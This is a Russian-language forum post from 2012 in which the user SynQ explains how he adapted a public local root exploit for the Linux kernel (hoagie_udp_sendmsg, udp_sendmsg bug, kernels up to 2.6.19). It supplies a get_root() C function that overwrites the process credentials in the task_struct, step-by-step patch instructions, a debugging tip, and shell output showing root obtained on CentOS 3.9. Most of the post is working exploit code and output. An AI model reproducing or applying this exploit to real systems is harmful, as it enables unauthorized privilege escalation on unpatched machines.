Показать сообщение отдельно
Старый 08.06.2012, 19:00   #441
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

В общем, победил.
Пришлось допилить этот эксплойт http://www.exploit-db.com/exploits/9479/ (бага эксплуатируется та же, что в therebel).

Вероятно, мое ядро с какими-нибудь доп. опциями скомпилировано, из-за чего что-то не работало, разбираться лень.

Указанный hoagie_udp_sendmsg.c давал oops на моем ядре, поэтому пришлось сделать следующие изменения:

0) при отладке не забыть # echo 0 > /proc/sys/kernel/panic_on_oops

1) куда-нибудь до main() кладем:
Код:
unsigned int uid, gid;

void get_root(void)
{
	unsigned long where=0;
	unsigned long *pcb_task_struct;

	where=(unsigned long )&where;
	where&=~8191;
	pcb_task_struct=(unsigned long *)where;

	where=1024;
	while( where!=0 ){
		if(pcb_task_struct[0]==uid&&pcb_task_struct[1]==uid&&
			pcb_task_struct[2]==uid&&pcb_task_struct[3]==uid&&
			pcb_task_struct[4]==gid&&pcb_task_struct[5]==gid&&
			pcb_task_struct[6]==gid&&pcb_task_struct[7]==gid){
			pcb_task_struct[0]=pcb_task_struct[1]=pcb_task_struct[2]=pcb_task_struct[3]=0;
			pcb_task_struct[4]=pcb_task_struct[5]=pcb_task_struct[6]=pcb_task_struct[7]=0;
			break;
		}
		pcb_task_struct++;
		where--;
	}
	return;
}
2) в начало main() кладем:
Код:
uid=getuid();
gid=getgid();
3) в main() вместо строки
*(int *)(rtable + 0x74) = (int)set_current_task_uids_gids_to_zero;
кладем:
Код:
int i;
//for(i=0;i<256;i++)
//*(int *)(rtable + i) = i;
//*(int *)(rtable + 0x58) = (int)&get_root;
//*(int *)(rtable + 0x10) = (int)&get_root;
//*(int *)(rtable + 0x78) = (int)&get_root;

for(i=0;i<1024;i++)
  *(int *)(rtable + i*4) = (int)&get_root;
На моем ядре почему-то аж в 3х местах нужно было положить адрес функции (вероятно проверка на существование указателя или т.п.), и для универсальности в конце, чтобы не гадать, заполняем им всю страницу.
После этого эксплойт дает рута и на моем ядре и на оф. ядре CentOS 3.9:
Цитата:
[synq@dhcppc0 synq]$ ./udp
hoagie_udp_sendmsg.c - linux root <= 2.6.19 local
-andi / void.at

sh-2.05b# id
uid=0(root) gid=0(root) groups=500(synq)
sh-2.05b# exit
exit
[synq@dhcppc0 synq]$ uname -a
Linux dhcppc0 2.4.21-50.EL #1 Mon Jun 11 18:22:02 EDT 2007 i686 i686 i386 GNU/Linux
SynQ вне форума   Ответить с цитированием